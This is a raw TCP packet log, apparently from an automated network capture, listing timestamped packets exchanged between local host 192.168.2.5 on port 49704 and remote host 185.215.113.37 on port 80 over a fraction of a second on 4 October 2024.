Oct 4, 2024 05:45:08.665575981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.665800095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.665832996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.665842056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.665867090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.665873051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.665906906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.665930033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.665971041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.665982008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666022062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666033983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666074038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666083097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666122913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666132927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666165113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666172981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666201115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666204929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666235924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666250944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666282892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666290045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666315079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666327953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666346073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666354895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666378021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666387081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666413069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666418076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666445017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666452885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666476965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666486025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666510105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666515112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666542053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666554928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666575909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666582108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666610003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.666615963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.666649103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.736891985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.736962080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.736975908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.736998081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737005949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737037897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737047911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737093925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737097979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737133980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737138987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737173080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737184048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737224102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737231970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737270117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737272024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737308025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737320900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737361908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737369061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737410069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737417936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737454891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737457991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737493038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737500906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737541914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737550020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737582922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737591028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737622023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737631083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737663031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737670898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737695932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737703085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737734079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737745047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737777948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737785101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737809896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737818003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737848997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737859011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737890959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737899065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737930059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.737940073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737971067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.737982988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738010883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738020897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738054037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738065004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738086939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738094091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738120079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738126040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738159895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738172054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738204956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738213062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738244057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738254070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738285065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738293886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738317966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738323927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738357067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738365889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738399982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738404989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738431931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738439083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738465071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738471031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738496065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738502026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738528967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738534927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738559961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738567114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738593102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738598108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738624096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738631010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738656998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738662958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738687992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738694906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738719940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738727093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738751888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738758087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738784075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738789082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738815069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738821030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738847017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738852978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738878965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738884926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738912106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738917112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738944054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738949060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.738975048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.738981009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739006996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739012957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739039898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739044905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739072084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739079952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739104986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739109993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739135981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739141941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739168882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739176035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739200115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739207983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739232063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739240885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739264011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739270926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739295959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739300966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739330053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739332914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739362955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739367962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739399910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739420891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739454031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739459991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739485979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739490986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739518881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739531040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739552975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739559889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739586115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739593029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739617109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739618063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739649057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739655972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739681005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739687920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739713907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739722013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739744902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739753008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739778042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739783049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739810944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.739814997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.739850044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778815985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778858900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778872013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778882027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778896093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778898954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778918982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778923035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778939009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778949022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778953075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778964996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778980017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.778980970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778995037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.778995991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779009104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779016972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779031992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779033899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779047966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779048920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779064894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779071093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779087067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779088020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779099941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779104948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779119015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779124022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779139996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779143095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779153109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779156923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779171944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779179096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779192924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779196024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779208899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779210091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779223919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779228926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779237986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779242992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779259920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779262066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779274940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779274940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779288054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779295921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779303074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779309034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779325008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779325008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779339075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779339075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779355049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779362917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779371023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779378891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779396057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779402018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779411077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779438019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779448032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779460907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779474974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779489040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779495001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779510975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779514074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779525042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779529095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779545069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779553890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779560089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.779570103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779584885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.779598951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826272011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826370001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826385975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826395988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826419115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826421976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826431036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826435089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826451063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826457024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826466084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826471090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826481104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826489925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826502085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826505899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826519012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826524973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826533079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826540947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826555967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826555967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826571941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826571941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826587915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826591969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826602936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826607943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826618910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826626062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826633930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826642036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826647043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826658010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826661110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826672077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826675892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826688051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826690912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826702118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826705933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826719999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826730013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826744080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826760054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826775074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826790094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.826798916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.826805115 CEST	80	49704	185.215.113.37	192.168.2.5
